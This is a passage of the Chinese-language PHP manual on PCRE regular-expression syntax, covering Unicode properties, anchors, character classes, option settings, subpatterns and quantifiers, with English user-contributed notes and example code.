 -- Linux LF (\n)
 -- OSX CR (\r)

Little-known special character:
\R in preg_* matches all three.

preg_match( '/^\R$/', "match\nany\\n\rline\r\nending\r" ); // match any line endings
grigor at the domain gatchev.info 22-Jun-2011 01:59
As \v matches both single char line ends (CR, LF) and double char (CR+LF, LF+CR), it is not a fixed length atom (eg. is not allowed in lookbehind assertions).


Unicode 字符属性

自 PHP 5.1.0 起， 三个额外的转义序列在选用 UTF-8 模式时用于匹配通用字符类型。他们是：

\p{xx}
一个有属性 xx 的字符
\P{xx}
一个没有属性 xx 的字符
\X
一个扩展的 Unicode 字符

上面 xx 代表的属性名用于限制 Unicode 通常的类别属性。 每个字符都有一个这样的确定的属性，通过两个缩写的字母指定。 为了与 Perl 兼容， 可以在左花括号 { 后面增加 ^ 表示取反。比如： \p{^Lu} 就等同于 \P{Lu}。

如果通过 \p 或 \P 仅指定了一个字母，它包含所有以这个字母开头的属性。 在这种情况下，花括号的转义序列是可选的；以下两个例子是等同的：

\p{L}
\pL

支持的 Unicode 属性
Property | Matches | Notes
C | Other |
Cc | Control |
Cf | Format |
Cn | Unassigned |
Co | Private use |
Cs | Surrogate |
L | Letter | 包含以下属性：Ll、 Lm、Lo、Lt、 Lu.
Ll | 小写字母 |
Lm | Modifier letter |
Lo | Other letter |
Lt | Title case letter |
Lu | Upper case letter |
M | Mark |
Mc | Spacing mark |
Me | Enclosing mark |
Mn | Non-spacing mark |
N | Number |
Nd | Decimal number |
Nl | Letter number |
No | Other number |
P | Punctuation |
Pc | Connector punctuation |
Pd | Dash punctuation |
Pe | Close punctuation |
Pf | Final punctuation |
Pi | Initial punctuation |
Po | Other punctuation |
Ps | Open punctuation |
S | Symbol |
Sc | Currency symbol |
Sk | Modifier symbol |
Sm | Mathematical symbol |
So | Other symbol |
Z | Separator |
Zl | Line separator |
Zp | Paragraph separator |
Zs | Space separator |

InMusicalSymbols 等扩展属性在 PCRE 中不支持

指定大小写不敏感匹配对这些转义序列不会产生影响，比如， \p{Lu} 始终匹配大写字母。

Unicode 字符集在具体文字中定义。使用文字名可以匹配这些字符集中的一个字符。例如：

  • \p{Greek}
  • \P{Han}

不在确定文字中的则被集中到 Common。当前的文字列表中有：

支持的文字
Arabic | Armenian | Avestan | Balinese | Bamum
Batak | Bengali | Bopomofo | Brahmi | Braille
Buginese | Buhid | Canadian_Aboriginal | Carian | Chakma
Cham | Cherokee | Common | Coptic | Cuneiform
Cypriot | Cyrillic | Deseret | Devanagari | Egyptian_Hieroglyphs
Ethiopic | Georgian | Glagolitic | Gothic | Greek
Gujarati | Gurmukhi | Han | Hangul | Hanunoo
Hebrew | Hiragana | Imperial_Aramaic | Inherited | Inscriptional_Pahlavi
Inscriptional_Parthian | Javanese | Kaithi | Kannada | Katakana
Kayah_Li | Kharoshthi | Khmer | Lao | Latin
Lepcha | Limbu | Linear_B | Lisu | Lycian
Lydian | Malayalam | Mandaic | Meetei_Mayek | Meroitic_Cursive
Meroitic_Hieroglyphs | Miao | Mongolian | Myanmar | New_Tai_Lue
Nko | Ogham | Old_Italic | Old_Persian | Old_South_Arabian
Old_Turkic | Ol_Chiki | Oriya | Osmanya | Phags_Pa
Phoenician | Rejang | Runic | Samaritan | Saurashtra
Sharada | Shavian | Sinhala | Sora_Sompeng | Sundanese
Syloti_Nagri | Syriac | Tagalog | Tagbanwa | Tai_Le
Tai_Tham | Tai_Viet | Takri | Tamil | Telugu
Thaana | Thai | Tibetan | Tifinagh | Ugaritic
Vai | Yi |  |  |

\X 转义匹配了 Unicode 可扩展字符集（Unicode extended grapheme clusters）。 可扩展字符集是一个或多个 Unicode 字符，组合表达了单个象形字符。 因此无论渲染时实际使用了多少个独立字符，可以视该 Unicode 等同于 .， 会匹配单个组合后的字符。

小于 PCRE 8.32 的版本中（对应小于 PHP 5.4.14 的内置绑定 PCRE 库）， \X 等价于 (?>\PM\pM*)。 也就是说，它匹配一个没有 "mark" 属性的字符，紧接着任意多个由 "mark" 属性的字符。 并将这个序列认为是一个原子组(详见下文)。 典型的有 "mark" 属性的字符是影响到前面的字符的重音符。

用 Unicode 属性来匹配字符的速度并不快， 因为 PCRE 需要去搜索一个包含超过 15000 字符的数据结构。 这就是为什么在 PCRE中 要使用传统的转义序列\d、 \w 而不使用 Unicode 属性的原因。

User Contributed Notes

Steve 03-Aug-2023 05:00
Examples are always useful! See https://unicodeplus.com/category for more.

C    Other
Cc   Control      (Unicode code points in the ranges U+0000-U+001F and U+007F-U+009F)
Cf   Format       (Soft hyphen (U+00AD), zero width space (U+200B), etc.)
Cn   Unassigned   (Any code point that is not in the Unicode table)
Co   Private use
Cs   Surrogate    (Characters in the range U+D800 to U+DFFF, which are invalid in utf-8)

L    Letter
Ll   Lower case letter (a-z, μ?àáa?????èéê?ìí??e?òó????ùú?üyt? and more)
Lm   Modifier letter   (Letter-like characters that are usually combined with others, but here they stand alone:
                        ???????????????????ˇ?ˉˊˋ???????????????? and more)
Lo   Other letter      (ao??∥??? and many more ideographs and letters from unicase alphabets)
Lt   Title case letter (???????????????????????????????)
Lu   Upper case letter (A-Z, àá??????èéê?ìí??D?òó????ùú?üYT and more)
L&   Ordinary letter   (Any character that has the Lu, Ll, or Lt property)

M    Mark
Mc   Spacing mark      (None in latin scripts)
Me   Enclosing mark    (Combining enclosing square (U+20DE) like in a? , combining enclosing circle backslash (U+20E0) like in a?)
Mn   Non-spacing mark  (Combining diacritical marks U+0300-U+036f, like the accents on this letter a: a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?)

N    Number
Nd   Decimal number (0123456789, ?????????? and digits in many other scripts.)
Nl   Letter number  (ⅠⅡⅢⅣⅤⅥⅦⅧⅨⅩⅪⅫ????ⅰⅱⅲⅳⅴⅵⅶⅷⅸⅹ?????? and some more)
No   Other number   (?123?????? ?????????? ?????????????????? ①②③④⑤⑥⑦⑧⑨⑩??????????, etc.)

P    Punctuation
Pc   Connector punctuation (_ underscore (U+005F), ? undertie U+203F, ? character tie (U+2040), etc.)
Pd   Dash punctuation      (- hyphen-minus (U+002D), ‐ hyphen (U+2010), - non-breaking hyphen (U+2011), ? figure dash (U+2012),
                            - en dash (U+2013), — em dash (U+2014), ― horizontal bar (U+2015), etc.)
Pe   Close punctuation     (right parenthesis, bracket, or brace: `)` (U+0029), `]` (U+005D), `}` (U+007D), etc.)
Pf   Final punctuation     (right quotation marks: ? (U+00BB), ' (U+2019), " (U+201D), etc.)
Pi   Initial punctuation   (left  quotation marks: ? (U+00AB), ' (U+2018), " (U+201C), etc.)
Po   Other punctuation     (!"#%&'*,./:;?@\?§?·?)
Ps   Open punctuation      (left parenthesis, bracket, or brace: `(` (U+0028), `[` (U+005B), `{` (U+007B), etc.)

S    Symbol
Sc   Currency symbol     ($￠￡¤￥, ? ? ? ? ? ? ? ? ? ? ? ? � ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? (U+20A0-U+20BF), etc.)
Sk   Modifier symbol     (Symbol-like characters that are usually combined with others, but here they stand alone:
                          ^`¨ˉ′? and more)
Sm   Mathematical symbol (+<=>|~?±×÷? and many more)
So   Other symbol        (| broken bar (U+00A6), © copyright sign (U+00A9), ® registered sign (U+00AE), ° degree sign (U+00B0);
                          arrows, signs, emojis and many many more)

Z    Separator
Zl   Line separator      (line separator (U+2028))
Zp   Paragraph separator (paragraph separator (U+2029))
Zs   Space separator     (space, no-break space, en quad, em quad, en space, em space, figure space, thin space, hair space, etc.)
phpnet at N_O_S_P_A_M dot osps dot net 16-Aug-2022 11:22
I found the predefined "supported" scripts helpful, except that there's no apparent definition of what Unicode character ranges are covered by those definitions. So I wrote this to determine them and print out the equivalent PCRE character class definitions. An example fragment of output is (I can't include all output due to PHP.net Note-posting limits)

Canadian_Aboriginal=[\x{1400}-\x{167f}\x{18b0}-\x{18f5}]

The program:

<?php

$scriptNames = array(
    'Arabic',
    'Armenian',
    'Avestan',
    'Balinese',
    'Bamum',
    'Batak',
    'Bengali',
    'Bopomofo',
    'Brahmi',
    'Braille',
    'Buginese',
    'Buhid',
    'Canadian_Aboriginal',
    'Carian',
    'Chakma',
    'Cham',
    'Cherokee',
    'Common',
    'Coptic',
    'Cuneiform',
    'Cypriot',
    'Cyrillic',
    'Deseret',
    'Devanagari',
    'Egyptian_Hieroglyphs',
    'Ethiopic',
    'Georgian',
    'Glagolitic',
    'Gothic',
    'Greek',
    'Gujarati',
    'Gurmukhi',
    'Han',
    'Hangul',
    'Hanunoo',
    'Hebrew',
    'Hiragana',
    'Imperial_Aramaic',
    'Inherited',
    'Inscriptional_Pahlavi',
    'Inscriptional_Parthian',
    'Javanese',
    'Kaithi',
    'Kannada',
    'Katakana',
    'Kayah_Li',
    'Kharoshthi',
    'Khmer',
    'Lao',
    'Latin',
    'Lepcha',
    'Limbu',
    'Linear_B',
    'Lisu',
    'Lycian',
    'Lydian',
    'Malayalam',
    'Mandaic',
    'Meetei_Mayek',
    'Meroitic_Cursive',
    'Meroitic_Hieroglyphs',
    'Miao',
    'Mongolian',
    'Myanmar',
    'New_Tai_Lue',
    'Nko',
    'Ogham',
    'Old_Italic',
    'Old_Persian',
    'Old_South_Arabian',
    'Old_Turkic',
    'Ol_Chiki',
    'Oriya',
    'Osmanya',
    'Phags_Pa',
    'Phoenician',
    'Rejang',
    'Runic',
    'Samaritan',
    'Saurashtra',
    'Sharada',
    'Shavian',
    'Sinhala',
    'Sora_Sompeng',
    'Sundanese',
    'Syloti_Nagri',
    'Syriac',
    'Tagalog',
    'Tagbanwa',
    'Tai_Le',
    'Tai_Tham',
    'Tai_Viet',
    'Takri',
    'Tamil',
    'Telugu',
    'Thaana',
    'Thai',
    'Tibetan',
    'Tifinagh',
    'Ugaritic',
    'Vai',
    'Yi'
);
$scriptTypes = array();
foreach( $scriptNames as $n ) $scriptTypes[ $n ] = array();
for( $i=0; $i <= 0x10fff; $i++ ) {
//echo $i.PHP_EOL;
    foreach( $scriptNames as $scriptName ) {

        if ( preg_match( '/[\p{'. $scriptName .'}]/u', mb_chr( $i, 'UTF-8') ) ) {

            if (empty( $scriptTypes[ $scriptName ])
                || ( ($i - $scriptTypes[ $scriptName ][ count( $scriptTypes[ $scriptName ] ) - 1 ][1]) > 1)
            ) {

                $scriptTypes[ $scriptName ][] = [$i, $i];

            } else {

                $scriptTypes[ $scriptName ][ count( $scriptTypes[ $scriptName ] ) - 1 ][1] = $i;
            }
        }
    }
}
foreach( $scriptTypes as $scriptName => $unicodeRanges ) {

    printf(
        '%s=[',
        $scriptName
    );
    foreach( $unicodeRanges as $r ) {

        printf(
            '\x{%04x}',
            $r[0]
        );
        if ($r[1] > $r[0] )
            printf(
                '-\x{%04x}',
                $r[1]
            );
    }
    printf(
        ']'.PHP_EOL
    );
}
php at lnx-bsp dot net 25-Sep-2017 05:53
Not made clear in the top of page explanation, but these escaped character classes can be included within square brackets to make a broader character class. For example:

<?php preg_match( '/[\p{N}\p{L}]+/', $data ) ?>

Will match any combination of letters and numbers.
huhwatnouDONTspamPLEASE at hotmail dot com 20-Jan-2016 09:00
To select UTF-8 mode for the additional escape sequences (\p{xx}, \P{xx}, and \X) , use the "u" modifier (see http://php.net/manual/en/reference.pcre.pattern.modifiers.php).

I wondered why a German sharp S (?) was marked as a control character by \p{Cc} and it took me a while to properly read the first sentence: "Since 5.1.0, three additional escape sequences to match generic character types are available when UTF-8 mode is selected. " :-$ and then to find out how to do so.
xuantoaiph at gmail dot com 24-Dec-2013 08:03
My country, Vietnam, have our own alphabet table:
http://en.wikipedia.org/wiki/Vietnamese_alphabet
I hope PHP will support better than in Vietnamese.
Yzmir Ramirez 11-Oct-2013 07:51
If you are working with older environments you will need to first check to see if the version of PCRE will work with unicode directives described above:

<?php

// Need to check PCRE version because some environments are
// running older versions of the PCRE library
// (run in *nix environment `pcretest -C`)

$allowInternational = false;
if (defined('PCRE_VERSION')) {
    if (intval(PCRE_VERSION) >= 7) { // constant available since PHP 5.2.4
        $allowInternational = true;
    }
}
?>

Now you can do a fallback regex (e.g. use "/[a-z]/i"), when the PCRE library version is too old or not available.
o_shes01 at uni-muenster dot de 22-Jan-2011 06:23
For those who wonder: 'letter_titlecase' applies to digraphs/trigraphs, where capitalization involves only the first letter.
For example, there are three codepoints for the "LJ" digraph in Unicode:
  (*) uppercase "LJ": U+01C7
  (*) titlecase "Lj": U+01C8
  (*) lowercase "lj": U+01C9
o_shes01 at uni-muenster dot de 21-Jan-2011 10:08
For those who wonder: 'letter_titlecase' applies to digraphs/trigraphs, where capitalization involves only the first letter.
For example, there are three codepoints for the "LJ" digraph in Unicode:
  (*) uppercase "LJ": U+01C7
  (*) titlecase "Lj": U+01C8
  (*) lowercase "lj": U+01C9
mercury at caucasus dot net 08-May-2010 10:32
An excellent article explaining all these properties can be found here: http://www.regular-expressions.info/unicode.html
suit at rebell dot at 01-Mar-2010 05:13
these properties are usualy only available if PCRE is compiled with "--enable-unicode-properties"

if you want to match any word but want to provide a fallback, you can do something like that:

<?php
if(@preg_match_all('/\p{L}+/u', $str, $arr) {
  // fallback goes here
  // for example just '/\w+/u' for a less acurate match
}
?>


锚

在一个字符类外面，在默认匹配模式下， 脱字符（^） 是一个断言当前匹配点位于目标字符串开始处的断言。 在一个字符类内部， 脱字符（^） 表明这个字符类中描述的字符取反(详见下文)。

脱字符（^）并不一定要是模式的第一个字符， 但是如果处于某个可选分支时， 它应该是该分支的首字符。如果所有选择分支都以脱字符（^）开头，这就是说， 如果模式限制为只匹配目标的开头， 它被称为是一个 "紧固" 模式。(同样也有其他方式可以构造出紧固模式)

美元符($)是用于断言当前匹配点位于目标字符串末尾， 或当目标字符串以换行符结尾时当前匹配点位于该换行符位置(默认情况)。 美元符($)不一定要作为模式的最后一个字符，但是如果它在某个可选分支中时， 就应该位于该分支的末尾。美元符在字符类中没有特殊的意义。

$ 的意义可以通过在编译或匹配时设置 PCRE_DOLLAR_ENDONLY 改变为只匹配字符串末尾。 这不会影响 \Z 断言的行为。

脱字符 ^ 和美元符 $ 字符的意义在 PCRE_MULTILINE 选项被设置时会发生变化。 当在这种情况下时， 它们匹配每一个换行符后面的和前面的字符，另外， 也会匹配目标字符串的开始和结束。比如, 模式 /^abc$/ 在多行模式下会成功匹配目标字符串 "def\nabc"， 而正常情况下不会。因此，由于所有的可选分支都以 "^" 开始， 在单行模式下这成为紧固模式，然而在多行模式下，这是非紧固的。 PCRE_DOLLAR_ENDONLY 选项在 PCRE_MULTILINE 设置后失效。

注意： \A、\Z、 \z 等转义序列可以在任何模式下用于匹配目标字符串的开始和结束位置。 并且如果模式的所有分支都以 \A 开始，它同样是紧固的， 而与 PCRE_MULTILINE 是否设置无关。

User Contributed Notes

There are no user contributed notes for this page.


句点

在字符类外部，模式中的句点匹配目标字符串中的任意字符，包括非打印字符， 但是(默认)不包括换行符。如果设置了 PCRE_DOTALL， 句点就会匹配换行符。 句点的处理和^、$的处理没有关联，它们唯一的关系是它们都涉及到了换行符。 句点在字符类中没有任何意义。

\C可以被用于匹配单字节， 也就是说在UTF-8 模式下，句点可以匹配多字节字符。

User Contributed Notes

There are no user contributed notes for this page.


字符类(方括号)

左方括号开始一个字符类的描述，并以方中括号结束。 单独的一个右方括号没有特殊含义。如果一个右方括号需要作为一个字符类中的成员, 那么可以将它写在字符类的首字符处(如果使用了 ^ 取反， 那么是第二个)或者使用转义符。

一个字符类在目标字符串中匹配一个单独的字符； 该字符必须是字符类中定义的字符集合的其中一个, 除非使用了 ^ 对字符类取反。 如果^需要作为一个字符类的成员，确保它不是该字符类的首字符， 或者对其进行转义即可。

例如，字符类[aeiou]匹配所有的小写元音字母， 而[^aeiou]匹配所有非元音字母的字符。注意： ^只是一个通过枚举指定那些不存在字符类之中的字符的便利符号。而不是断言， 它仍然会从目标字符串中消耗一个字符，并且如果当前匹配点在目标字符串末尾， 匹配将会失败。

当大小写无关匹配被设置后，任意字符类都同时代表大小写两种版本，因此对于例子， 一个大小写不敏感的[aeiou]同时匹配"A"和"a"， 并且大小写不敏感的[^aeiou]同时不匹配 "A"。

换行符在字符类中没有任何特殊涵义， 与 PCRE_DOTALL 或 PCRE_MULTILINE 选项都无关。 例如 [^a] 这样的字符类始终会匹配换行符。

在字符类中，一个中划线(减号 -)可以用于指定从一个字符到另一个字符的范围。 比如，[d-m]匹配d到m之间的所有字符，这个集合时闭合的。 如果中划线自身要在一个字符类中描述， 它必须被转移或者出现在一个不会被解释为一个范围的位置， 典型的比如字符类开始或结束位置。

在一个字符范围描述后面不能使用右中括号。 比如一个模式 [W-]46] 被解释为一个包含 W 和 - 的字符类，后面紧跟字符串 "46]"， 因此它可以匹配 "W46]" 或 "-46]"。然而， 如果中括号是经过转义的， 它将会被解释为范围的终点， 因此 [W-\]46] 就会被解释为一个单独的包含 W 至 ] 范围内所有字符以及 4、6 的字符类。 8 进制或 16 进制描述的中括号同样可以用于作为范围的终点。

范围操作以 ASCII 整理排序。它们可以用于为字符指定数值，比如 [\000-\037]。 如果在大小写不敏感匹配模式下使用一个包含字母的范围， 则同时匹配它的大小写形式。 比如 [W-c] 在不区分大小写匹配时等价于 [][\^_`wxyzabc]，并且， 如果使用了 "fr"(法国) 的地域设置字符表时， [\xc8-xcb] 将会在所有模式下匹配重音 E 字符。

字符类\d、\D、 \s、\S、\w 和 \W 也可以出现在一个字符类中， 用以将其匹配的字符类加入到新的自定义字符类中。比如， [\dABCDEF] 匹配任意合法的 16 进制数。用 ^ 可以很方便的制定严格的字符类， 比如 [^\W_] 匹配任何字母或数字，但不匹配下划线。

所有非字母数字字符除了\、-、 ^(在起始位置)以及结束的]在字符类中都是非特殊字符， 没有转义也不会有危害。模式结束符在表达式中总是特殊字符，必须进行转义。

Perl 支持 POSIX 字符类符号。这种字符类使用[:和:]闭合。 PCRE 同样支持这些字符类， 比如，[01[:alpha:]%]匹配 "0"、"1"、任意字母或"%"。 支持的字符类如下：

字符类
alnum | 字母和数字
alpha | 字母
ascii | 0 - 127的ascii字符
blank | 空格和水平制表符
cntrl | 控制字符
digit | 十进制数(same as \d)
graph | 打印字符, 不包括空格
lower | 小写字母
print | 打印字符,包含空格
punct | 打印字符, 不包括字母和数字
space | 空白字符 (比\s多垂直制表符)
upper | 大写字母
word | 单词字符(和 \w 一样)
xdigit | 十六进制数字
空白字符有HT(9)、 LF(10)、VT(11)、 FF(12)、CR(13)、space(32)。 注意， 这个列表包含了垂直制表符。这使得space不同于\s， 因为它不包含垂直制表符(为了向 Perl 兼容)

[:word:]是一个 Perl扩展，[:blank:]是一个从 Perl5.8 中来的 GNU 扩展。 另外一个 Perl 扩展是取反，通过前置一个^。 比如， [12[:^digit:]] 匹配"1", "2" 或任何非数字字符

在 UTF-8 模式中，大于 128 的字符值不会匹配任何 POSIX 字符类。 自 libpcre 8.10 起，某些字符类改为使用 Unicode 字符属性，所以不会出现提醒中的限制。 详情参阅 » PCRE(3) manual。

Unicode character properties can appear inside a character class. They can not be part of a range. The minus (hyphen) character after a Unicode character class will match literally. Trying to end a range with a Unicode character property will result in a warning.

User Contributed Notes

Julian 08-Feb-2023 12:48
Examples with Character classes

<?php

$stringA = "1 In the beginning God created the heavens and the earth.";
$stringB = preg_replace('/[[:^alnum:]]/', '', $stringA); // string(46) "1InthebeginningGodcreatedtheheavensandtheearth"
$stringC = preg_replace('/[[:^alpha:]]/', '', $stringA); // string(45) "InthebeginningGodcreatedtheheavensandtheearth"
$stringD = preg_replace('/[[:^ascii:]]/', '', "Pokémon"); // string(6) "Pokmon"
$stringE = preg_replace('/[[:^blank:]]/', '*', $stringA); // string(57) "* ** *** ********* *** ******* *** ******* *** *** ******"
$stringF = preg_replace('/[[:blank:]]/', '-', $stringA); // string(57) "1-In-the-beginning-God-created-the-heavens-and-the-earth."

$stringG = sprintf("Vertical Tabulation: %s", chr(11)); // string(22) "Vertical Tabulation: "
$stringH = preg_replace('/[[:cntrl:]]/', '', $stringG); // string(21) "Vertical Tabulation: "
$stringLengthG = strlen($stringG); // int(22)
$stringLengthH = strlen($stringH); // int(21)

$stringI = preg_replace('/[[:digit:]]/', '', 'My age is 35'); //string(10) "My age is "
$stringJ = preg_replace('/[[:^digit:]]/', '', 'My age is 35'); // string(2) "35"

$stringK = preg_replace('/[[:^graph:]]/', '', $stringG); // string(19) "VerticalTabulation:"
$stringL = preg_replace('/[[:graph:]]/', '', $stringG); // string(3) "  "

$stringM = preg_replace('/[[:lower:]]/', '', $stringG); // string(6) "V T: "
$stringN = preg_replace('/[[:^lower:]]/', '', $stringG); // string(16) "erticalabulation"

$stringO = preg_replace('/[[:^print:]]/', '', $stringG); // string(21) "Vertical Tabulation: "
$stringP = preg_replace('/[[:print:]]/', '', $stringG); // string(1) " "

$stringQ = preg_replace('/[[:punct:]]/', '', $stringG); // string(21) "Vertical Tabulation "
$stringR = preg_replace('/[[:^punct:]]/', '', $stringG); // string(1) ":"

$stringS = preg_replace('/[[:space:]]/', '', $stringG); // string(19) "VerticalTabulation:"
$stringT = preg_replace('/[[:^space:]]/', '', $stringG); // string(3) "  "

$stringU = preg_replace('/[[:upper:]]/', '', $stringG); // string(20) "ertical abulation: "
$stringV = preg_replace('/[[:^upper:]]/', '', $stringG); // string(2) "VT"

$stringW = preg_replace('/[[:word:]]/', '', $stringG); // string(4) " : "
$stringX = preg_replace('/[[:^word:]]/', '', $stringG); // string(18) "VerticalTabulation"

$stringY = preg_replace('/[[:xdigit:]]/', '', 'abcdefghijklmnopqrstuvwxyz0123456789'); // string(20) "ghijklmnopqrstuvwxyz"
$stringZ = preg_replace('/[[:^xdigit:]]/', '', 'abcdefghijklmnopqrstuvwxyz0123456789'); // string(16) "abcdef0123456789"
greaties at ghvernuft dot nl 18-Sep-2021 11:58
From deep down the PCRE manual at http://www.pcre.org/pcre.txt :

         \d     any decimal digit
         \D     any character that is not a decimal digit
         \h     any horizontal white space character
         \H     any character that is not a horizontal white space character
         \s     any white space character
         \S     any character that is not a white space character
         \v     any vertical white space character
         \V     any character that is not a vertical white space character
         \w     any "word" character
         \W     any "non-word" character
php at delegated dot net 04-Sep-2018 06:40
Some characters may not work as expected within a custom class. MS double quote for example is unrecognised when included in a class but is recognised otherwise.

ie:
<?php
preg_match_all('/<a href=("|")/')
?> will match but
<?php
preg_match_all('/<a href=[""]/')
?> will not
when applied to <a href="path">
wordragon at wrestingcontrol dot com 03-May-2018 04:52
The documentation says:

"The character types \d, \D, \s, \S, \w, and \W may also appear in a character class, and add the characters that they match to the class."

It does not stress that other escape types may not.  I wanted to split a string on either a comma (","), or a new line "\n".  When my input stream began to include "\r\n", I decided to change "\n" to "\R".  Unfortunately, my test string did not include a capital "R", or I might have found the problem sooner.  My '/[\R,]/' was simply splitting on comma and the letter "R".

My test string...
"The Yum-Yum Company\r\n127 bernard street"

What DID work: '/(?:\R|,)+/'

["The Yum-Yum Company","127 bernard street"]

Given character classes only match one character, I can see clearly why my expectations were justifiably dashed, but hopefully this comment will save time for someone else.

I might add, this has taught me the value of PCRE_EXTRA (modifier "X"), which I have begun to use routinely now.


可选路径(|)

竖线字符用于分离模式中的可选路径。 比如模式gilbert|Sullivan匹配 "gilbert" 或者 "sullivan"。 竖线可以在模式中出现任意多个，并且允许有空的可选路径(匹配空字符串)。 匹配的处理从左到右尝试每一个可选路径，并且使用第一个成功匹配的。 如果可选路径在子组(下面定义)中， 则"成功匹配"表示同时匹配了子模式中的分支以及主模式中的其他部分。

User Contributed Notes

There are no user contributed notes for this page.


内部选项设置

PCRE_CASELESS、 PCRE_MULTILINE、 PCRE_DOTALL、 PCRE_UNGREEDY、 PCRE_EXTRA、 PCRE_EXTENDED、 PCRE_DUPNAMES 等模式修饰符设置可以在模式内部通过一个 Perl 选项字符序列来设置， 语法是 (?修饰符)，可用的修饰符有：

Internal option letters
i | for PCRE_CASELESS
m | for PCRE_MULTILINE
s | for PCRE_DOTALL
x | for PCRE_EXTENDED
U | for PCRE_UNGREEDY
X | for PCRE_EXTRA
J | for PCRE_INFO_JCHANGED

比如，(?im) 设置表明多行大小写不敏感匹配。同样可以用它来取消这些设置， 比如 (?im-sx) 设置了 PCRE_CASELESS，PCRE_MULTILINE， 但是同时取消了 PCRE_DOTALL 和 PCRE_EXTENDED。 如果一个字母即出现在 - 之前, 也出现在 - 之后，这个选项被取消设置。

当一个选项在模式的最上级(也就是说不在子组中)时， 这个改变会影响模式中剩余部分。比如 /ab(?i)c/ 仅仅匹配 "abc" 和 "abC"。

如果一个选项在子组中设置，产生的影响是不同的。这是 Perl 5.005 中行为的一个变种。 一个选项在子组内部设置，仅仅改变子组中剩余的部分， 因此 (a(?i)b)c 仅仅匹配 "abc" 和 "aBc" (假设没有使用 PCRE_CASELESS 选项)。 这就意味着选项在模式的不同位置可以造成不同的影响。 在同一个子模式中， 一个分支的选项设置回穿透到后面剩余的其他分支中去。 比如 (a(?i)b|c) 匹配"ab"， "aB"， "c" 和 "C"。 尽管在匹配 "C" 时第一个分支会在选项被设定前就被丢弃。 这是因为选项的设定是在编译期确定的，否则可能会带来非常怪异的行为。

PCRE 专用选项 PCRE_UNGREEDY 和 PCRE_EXTRA 可以和 Perl 兼容选项以同样的方式来改变， 分别使用字母 U 和 X。 (?X) 标记设定有些特殊，它必须出现在任何其他特性之前， 最好放在最开头的位置。

User Contributed Notes

mike at clove dot com 18-Mar-2010 07:48
When using the (?i:foo) syntax, it appears that the group is not included in the 'matches' argument unless it is nested in an additional set of parenthesis, for example: ((?i:foo))
mati_ at zenbe dot com 07-Jul-2009 12:14
There is also the possibility to enable Modifier only on a specific group, so that the Modifier doesn't stay valid until end or deactivation with "(?-<modifier>)".

The Syntax for that is "?<modifier>:" on the beginning of the group, i.e. (?i:foo) matches on FoO.


子组(子模式)

子组通过圆括号分隔界定，并且它们可以嵌套。 将一个模式中的一部分标记为子组(子模式)主要是来做两件事情：

  1. 将可选分支局部化。比如，模式cat(arcat|erpillar|)匹配 "cat"， "cataract"， "caterpillar" 中的一个，如果没有圆括号的话，它匹配的则是 "cataract"， "erpillar" 以及空字符串。

  2. 将子组设定为捕获子组(向上面定义的)。当整个模式匹配后， 目标字符串中匹配子组的部分将会通过 pcre_exec()() 的 ovector 参数回传给调用者。 左括号从左至右出现的次序就是对应子组的下标(从 1 开始)， 可以通过这些下标数字来获取捕获子模式匹配结果。

比如，如果字符串 "the red king" 使用模式((red|white) (king|queen)) 进行匹配， 模式匹配到的结果是 array("red king"， "red king", "red", "king") 的形式， 其中第 0 个元素是整个模式匹配的结果，后面的三个元素依次为三个子组匹配的结果。 它们的下标分别为 1， 2， 3。

事实上，并不一定同时需要圆括号的两种功能。 经常我们会需要子组进行分组， 但又不需要(单独的)捕获它们。 在子组定义的左括号后面紧跟字符串 "?:" 会使得该子组不被单独捕获， 并且不会对其后子组序号的计算产生影响。比如, 如果字符串 "the white queen" 匹配模式 the ((?:red|white) (king|queen))， 匹配到的子串是 "white queen" 和 "queen"， 他们的下标分别是 1 和 2。 捕获子组的最大序号为 65535。然而由于 libpcre 的配置，我们可能无法编译这么长的 正则表达式。

为了方便简写，如果需要在非捕获子组开始位置设置选项， 选项字母可以位于 ? 和 : 之间，比如两个模式：

(?i:saturday|sunday)
(?:(?i)saturday|sunday)

匹配到了完全相同的字符集。因为可选分支会从左到右尝试每个分支， 并且选项没有在子模式结束前被重置， 并且由于选项的设置会穿透对后面的其他分支产生影响，因此， 上面的模式都会匹配 "SUNDAY" 以及 "Saturday"。

可以对子组使用 (?P<name>pattern) 的语法进行命名。 这个子模式将会在匹配结果中同时以其名称和顺序(数字下标)出现， 还有两种为子组命名的语法： (?<name>pattern) 和 (?'name'pattern)。

有时需要多个匹配可以在一个正则表达式中选用子组。 为了让多个子组可以共用一个后向引用数字的问题， (?| 语法允许复制数字。 考虑下面的正则表达式匹配Sunday：

(?:(Sat)ur|(Sun))day

Sun 存储在反向引用 2 中，而反向引用 1 为空。匹配 Saturday 则 Sat 存储在反向引用 1 中，而反向引用 2 不存在。使用 (?| 修改模式来修复这个问题：

(?|(Sat)ur|(Sun))day

使用这个模式， Sun 和 Sat 都会被存储到后向引用 1 中。

User Contributed Notes

mike at eastghost dot com 25-Mar-2015 03:46
(?:(?!string).)

?: makes a subpattern

?! is a negative look-ahead.

Putting negative look-ahead before the dot causes regex engine to first find any occurrence of the negative look-ahead string, and only then, if the negative look-ahead string is not present, should an arbitrary character (due to the dot) match.


重复/量词

重复次数是通过量词指定的，可以紧跟在下面元素之后：

  • 单独的字符, 可以是经过转义的
  • 元字符。
  • 字符类
  • 后向引用(参加下一部分)
  • 子组(除非它是一个断言，参考下文)

一般的重复量词指定了一个最小数值和一个最大数值的匹配次数， 通过花括号包裹两个数字，两个数字之间用逗号隔开的语法定义。 两个数值都必须小于 65536， 并且第一个数字必须小于等于第二个。 比如： z{2,4} 匹配 "zz"， "zzz"， "zzzz"。 单个的右花括号不是特殊字符。 如果第二个数字被省略，但是逗号仍然存在，就代表没有上限； 如果第二个数字和逗号都被省略，那么这个量词就限定的是一个确定次数的匹配。 比如 [aeiou]{3,} 匹配至少三个连续的元音字母，但是同时也可以匹配更多， 而 \d{8} 则只能匹配 8 个数字。 左花括号出现在不允许使用量词的位置或者与量词语法不匹配时， 被认为是一个普通字符，对它自身进行原文匹配。 比如，{,6}就不是一个量词， 会按照原文匹配四个字符 "{,6}"。

量词 {0} 是被授权的，它会导致的行为是认为前面的项和量词不存在。

为了方便(以及历史的兼容性)，最常用的三个量词都有单字符缩写。

单字符量词
* | 等价于 {0,}
+ | 等价于 {1,}
? | 等价于 {0,1}

可以通过一个不匹配任何字符的子模式后面紧跟一个匹配 0 或多个字符的量词 来构造一个没有上限的无限循环。比如： (a?)*

